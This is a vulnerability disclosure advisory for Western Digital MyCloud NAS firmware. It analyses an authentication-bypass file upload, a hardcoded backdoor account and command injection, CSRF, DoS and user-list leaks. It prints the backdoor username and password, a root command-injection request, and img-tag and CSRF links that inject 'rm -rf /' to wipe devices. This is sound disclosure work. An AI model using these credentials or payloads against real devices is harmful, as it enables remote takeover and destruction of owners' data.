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                     GulfTech Research and Development                                                                 

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#             WDMyCloud <= 2.30.165 Multiple Vulnerabilities              #
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Released Date: 2018-01-04
Last Modified: 2017-06-11
 Company Info: Western Digital
 Version Info: 
              Vulnerable
               MyCloud <= 2.30.165
               MyCloudMirror <= 2.30.165
               My Cloud Gen 2
               My Cloud PR2100
               My Cloud PR4100
               My Cloud EX2 Ultra
               My Cloud EX2
               My Cloud EX4
               My Cloud EX2100
               My Cloud EX4100
               My Cloud DL2100
               My Cloud DL4100

              Not Vulnerable
               MyCloud 04.X Series
 

--[ Table of contents

00 - Introduction
    00.1 Background

01 - Unrestricted file upload
    01.1 - Vulnerable code analysis
    01.2 - Remote exploitation

02 - Hard coded backdoor
    02.1 - Vulnerable code analysis
    02.2 - Remote exploitation

03 - Miscellaneous security issues
    03.1 - Cross site request forgery
    03.2 - Command injection
    03.3 - Denial of service
    03.4 - Information disclosure

04 - Reused Code

05 - Credit

06 - Proof of concept

07 - Disclosure timeline

08 - Solution

09 - Contact information

10 - References


--[ 00 - Introduction

The purpose of this article is to detail the research that I have completed 
regarding the Western Digital MyCloud family of devices.

Several serious security issues were uncovered during my research. 
Vulnerabilities such as pre auth remote root code execution, as well as a 
hardcoded backdoor admin account which can NOT be changed. The backdoor 
also allows for pre auth remote root code execution on the affected device.

The research was conducted on both a WDMyCloud 4TB and a WDMyCloudMirror
16TB with the latest available firmware 2.30.165. My research shows that
the 04 branch of the WDMyCloud firmware is not vulnerable to these issues.

--[ 00.1 - Background

WD My Cloud is a personal cloud storage unit to organize your photos and 
videos. It is currently the best selling NAS (network attached storage)
device listed on the amazon.com website, and is used by individuals and
businesses alike.  It's purpose is to host your files, and it also has the
ability to sync them with various cloud and web based services.


--[ 01 - Unrestricted file upload

The WDMyCloud device is vulnerable to an unrestricted file upload 
vulnerability within the following file:

/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php

The root of the problem here is due to the misuse and misunderstanding of
the PHP gethostbyaddr() function used within PHP, by the developer of this 
particular piece of code. From the PHP manual this functions return values 
are defined as the following for gethostbyaddr():

"Returns the host name on success, the unmodified ip_address on failure, or 
FALSE on malformed input."

With a brief overview of the problem, let's have a look at the offending 
code in order to get a better understanding of what is going on with this 
particular vulnerability.

--[ 01.1 - Vulnerable code analysis

Below is the code from the vulnerable "multi_uploadify.php" script. You can
see that I have annoted the code to explain what is happening.

#BUG 01: Here the attacker controlled "Host" header is used to define the 
remote auth server. This is by itself really bad, as an attacker could
easily just specify that the host be the IP address of a server that they
are in control of. But, if we send it an invalid "Host" header it will just
simply return FALSE as defined in the PHP manual.

$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri =  $_REQUEST['redirect_uri']; 

//echo $name ."<br>".$pwd."<br>".$ip;

#BUG 02: At this point, this request should always fail. The $result
variable should now be set to FALSE.

$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));

#BUG 03: Here an empty haystack is searched, and thus strstr() returns a
value of FALSE.

$result_1 = strstr($result,"<auth_status>0</auth_status>");
$result_1 = substr ($result_1, 0,28);  

#BUG 04: The strncmp() call here is a strange one. It looks for a specific
login failure. So, it never accounts for when things go wrong or slightly
unexpected. As a result this "if" statement will always be skipped.

if (strncmp ($result_1,"<auth_status>0</auth_status>",28) == 0 )
//if (strstr($result,"<auth_status>0</auth_status>")== 0 )
{
    header("HTTP/1.1 302 Found");
  header("Location: ".$redirect_uri."?status=0");
  exit();   
}

#BUG 05: At this point all checks have been passed, and an attacker can use
this issue to upload any file to the server that they want.

The rest of the source code was omitted for the sake of breivity, but it 
just handles the file upload logic once the user passes the authentication
checks.

--[ 01.2 - Remote exploitation

Exploiting this issue to gain a remote shell as root is a rather trivial
process. All an attacker has to do is send a post request that contains a 
file to upload using the parameter "Filedata[0]", a location for the file 
to be upload to which is specified within the "folder" parameter, and of 
course a bogus "Host" header.

I have written a Metasploit module to exploit this issue. The module will
use this vulnerability to upload a PHP webshell to the "/var/www/"
directory. Once uploaded, the webshell can be executed by requesting a URI
pointing to the backdoor, and thus triggering the payload.


--[ 02 - Hard coded backdoor

After finding the previously mentioned file upload vulnerability I decided
to switch gears and start reversing the CGI binaries that were accessable
via the web interface. The CGI binaries are standard Linux ELF executables
and pretty easy to go through. Within an hour of starting I stumbled 
across the following file located at:

/usr/local/modules/cgi/nas_sharing.cgi

The above file can be accessed by visiting "/cgi-bin/nas_sharing.cgi" but 
it produces server errors with every single method, except when the "cmd"
parameter was set to "7". This piqued my interest and so I really started
digging into the binary, as it seemed very buggy and possibly vulnerable.

As it turns out the error was caused due to buggy code and nothing I was or 
wasn't doing wrong. But, while I was figuring out the cause of the error I 
happened to come across the following function that is used to authenticate 
the remote user. 

--[ 02.1 - Vulnerable code analysis

Below is the psuedocode created from the disassembly of the binary. I have
renamed the function to "re_BACKDOOR" to visually identify it more easily.

struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2)
{
  const char *v2; // r5@1
  const char *v3; // r4@1
  struct passwd *result; // r0@4
  FILE *v5; // r6@5
  struct passwd *v6; // r5@7
  const char *v7; // r0@9
  size_t v8; // r0@10
  int v9; // [sp+0h] [bp-1090h]@1
  char s; // [sp+1000h] [bp-90h]@1
  char dest; // [sp+1040h] [bp-50h]@1

  v2 = a2;
  v3 = a1;
  memset(&s, 0, 0x40u);
  memset(&dest, 0, 0x40u);
  memset(&v9, 0, 0x1000u);
  if ( *v2 )
  {
    v8 = strlen(v2);
    _b64_pton(v2, (u_char *)&v9, v8);
    if ( dword_2C2E4 )
    {
      sub_1194C((const char *)&unk_1B1A4, v2);
      sub_1194C("pwd decode[%s]\n", &v9);
    }
  }
  if (!strcmp(v3, "mydlinkBRionyg") 
  &&  !strcmp((const char *)&v9, "abc12345cba") )
  {
    result = (struct passwd *)1;
  }
  else
  {
    v5 = (FILE *)fopen64("/etc/shadow", "r");
    while ( 1 )
    {
      result = fgetpwent(v5);
      v6 = result;
      if ( !result )
        break;
      if ( !strcmp(result->pw_name, v3) )
      {
        strcpy(&s, v6->pw_passwd);
        fclose(v5);
        strcpy(&dest, (const char *)&v9);
        v7 = (const char *)sub_1603C(&dest, &s);
        return (struct passwd *)(strcmp(v7, &s) == 0);
      }
    }
  }
  return result;
}

As you can see in the above code, the login functionality specifically
looks for an admin user named "mydlinkBRionyg" and will accept the password
of "abc12345cba" if found. This is a classic backdoor. Simply login with 
the credentials that I just mentioned from the above code.

Also, it is peculiar that the username is "mydlinkBRionyg", and that the 
vulnerability in Section 1 of this paper refers to a non existent file name
of "mydlink.cgi" but, more about that later in section 4...

--[ 02.2 - Remote exploitation

At first, to the untrained eye, exploiting this backdoor to do useful
things may seem problematic due to the fact that only method "7" gives us
no error. And, method 7 only allows us the ability to download any files in 
"/mnt/", but no root shell. But, we want a root shell. Right?

After digging deeper I realized that the CGI script was dying every time, 
but only at the final rendering phase due to what seems like an error where 
the programmer forgot to specify the content type header on output, thus 
confusing the webserver and causing the crash. So, everything we do gets 
executed up until that point successfully. It is just blind execution.

Now that I had that figured out I started looking for a method I could then
exploit to gain shell access. I started with method "51" because it was the 
first one I looked at. This particular method happened to contain a command 
injection issue. Now I easily could turn this backdoor into a root 
shell, and gain control of the affected device.

GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlinkBRionyg&passwd=YWJjMT
IzNDVjYmE&start=1&count=1;touch+/tmp/gulftech; HTTP/1.1

By sending a request like the one above a remote attacker could now execute
any commands as root. And yes, the password is base64 encoded, as that is
what the script expects. In the example above I simply create a file called 
"gulftech" located in the "/tmp/" directory.

The triviality of exploiting this issues makes it very dangerous, and even
wormable. Not only that, but users locked to a LAN are not safe either. An
attacker could literally take over your WDMyCloud by just having you visit
a website where an embedded iframe or img tag make a request to the 
vulnerable device using one of the many predictable default hostnames for
the WDMyCloud such as "wdmycloud" and "wdmycloudmirror" etc.

<img src="http://wdmycloud/cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlin
kBRionyg&passwd=YWJjMTIzNDVjYmE&start=1&count=1;rm+-rf+/;">

For example simply visiting the above link will totally destroy a WDMyCloud
without the need for any type of authentication whatsoever, and there is 
nothing you can do about it except delete the file as the credentials are 
hardcoded into the binary itself.


--[ 03 - Miscellaneous vulnerabilities

In addition to the two previously mentioned critical vulnerabilities were
also several other issues. These other issues are still very dangerous, but
require authentication in some cases, and for the most part are not 
considered as critical, and also require less technical explanation. 

--[ 03.1 - Cross site request forgery

There is no real XSRF protection within the WDMyCloud web interface. This
can have quite the impact on unsuspecting users. Exploitation of this issue 
is trivial.

http://wdmycloud/web/dsdk/DsdkProxy.php?;rm -rf /;

For example, if a logged in WDMyCloud admin visits, or is forced to visit
the above link, then the entire device will be wiped out. This is just one
of many XSRF issues. We do not have time to track them all down.

--[ 03.2 - Command injection

Some time ago, a researcher from the "Exploiteers" team found an alarming
number of command injection issues within the WDMyCloud. Unfortunately, we 
were able to find quite a few as well.

class RemoteBackupsAPI{
    public function getRecoverItems()
    {
        $xmlPath = "/var/www/xml/rsync_recover_items.xml";
        $jobName = $_REQUEST['jobName'];
        
        @unlink($xmlPath);
        
        $cmd = "rsyncmd -l \"$xmlPath\" -r \"$jobName\" >/dev/null";
        system($cmd);
        
        if (file_exists($xmlPath))
        {
            print file_get_contents($xmlPath);
        }
        else
        {
            print "<config></config>";
        }
    }
}

The above code is an example of the type of command injection issues that
still plague the WDMyCloud. This particular command injection is post auth,
as were all of the other command injections I found too. However, I did not 
have time to sift through looking for all of these. And by now I feel 
that the manufacturer should know better considering they just went through 
the process of patching many command injection vulnerabilities disclosed by 
the Exploiteers.[1]

--[ 03.3 - Denial of service

It is possible for an attacker to abuse language preferences functionality
in order to cause a DoS to the web interface. This is due to the fact that
any unauthenticated user can set the global language preferences for the
entire device and all of its users. The psuedocode from the disassembled 
binary can be seen below.

int cgi_language()
{
  int v1; // [sp+0h] [bp-10h]@1

  cgiFormString("f_language", &v1, 8);
  xml_set_str((int)"/language", (int)&v1);
  xml_write_file("/etc/NAS_CFG/config.xml");
  LIB_CP_Config_To_MTD(1);
  cgiHeaderContentType("text/html");
  return system("language.sh > /dev/null 2>&1 &");
}

This is not a very useful attack vector since we only have 8 bytes to work 
with. But, you can make a script that keeps randomly resetting the language 
to some random language and it will affect all users of the device and 
requires no authentication. It is very hard to use the device if it is 
rendering all of the pages in a language you can not understand.

http://wdmycloud/cgi-bin/login_mgr.cgi?cmd=cgi_language&f_language=7

The above example request sets the language to korean. There are 17 
available language codes. Details can be found in language.sh located on 
the target device.

--[ 03.4 - Information disclosure

It is possible for an attacker to dump a list of all users, including
detailed user information.

GET /api/2.1/rest/users? HTTP/1.1

Making a simple request to the webserver like the one above will dump the
user information to an attacker for all users. This does not require any 
authentication in order to take advantage of.


--[ 04 - D-Link DNS-320L ShareCenter

As I have mentioned earlier in this article, I found it peculiar that 
the username used for the backdoor is "mydlinkBRionyg", and that the 
vulnerability in Section 1 of this paper refers to a non existent file name
of "mydlink.cgi". This really piqued my curiosity, and so I started using
google to try to track down some leads. After searching for the term of
"mydlink.cgi" I came across a reference to a post made by a D-Link user
regarding their D-Link DNS-320L ShareCenter NAS device.[2]

Within that post were references to file names and directory structure that
were fairly unique, and from the D-link device. But, they also perfectly 
matched my WDMyCloud device. The more I looked into this the weirder it 
seemed. So, I gained access to a D-Link DNS-320L ShareCenter. Once I had it 
things became pretty clear to me as the D-Link DNS-320L had the same exact 
hard coded backdoor and same exact file upload vulnerability that was 
present within the WDMyCloud. So, it seems that the WDMyCloud software 
shares a large amount of the D-Link DNS-320L code, backdoor and all. There 
are also other undeniable examples such as misspelled function names and 
other anomalies that match up within both the WDMyCloud and the D-Link 
DNS-320L ShareCenter code.

It should be noted that unlike the WDMyCloud the D-Link DNS-320L is 
currently NOT vulnerable to the backdoor and file upload issues, so you 
should upgrade your DNS-320L firmware as soon as possible as the issues can
be leveraged to gain a remote root shell on the DNS-320L if you are not up
to date with your device firmware. The backdoor was first removed in the 
1.0.6 firmware release. (July 28, 2014)

It is interesting to think about how before D-Link updated their software 
two of the most popular NAS device families in the world, sold by two of 
the most popular tech companies in the world were both vulnerable at the 
same time, to the same backdoor for a while. The time frame in which both 
devices were vulnerable at the same time in the wild was roughly from early 
2014 to later in 2014 based on comparing firmware release note dates.


--[ 05 - Credit

James Bercegay
GulfTech Research and Development


--[ 06 - Proof of concept

We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.


--[ 07 - Disclosure timeline

2017-06-10
Contacted vendor via web contact form. Assigned case #061117-12088041.

2017-06-12
Support member Gavin referred us to WDC PSIRT. We immediately sent a PGP
encrypted copy of our report to WDC PSIRT.

2017-06-13
Recieved confirmation of report from Samuel Brown.

2017-06-16
A period of 90 days is requested by vendor until full disclosure.

2017-12-15
Zenofex posts disclosure of the upload bug independantly of my research [3]

2018-01-03
Public Disclosure


--[ 08 - Solution

N/A


--[ 09 - Contact information

Web
https://gulftech.org/

Mail
security@gulftech.org


--[ 10 - References

[1] https://blog.exploitee.rs/2017/hacking_wd_mycloud/
[2] http://forums.dlink.com/index.php?topic=65415.0
[3] https://www.exploitee.rs/index.php/Western_Digital_MyCloud

Copyright 2018 GulfTech Research and Development. All rights reserved.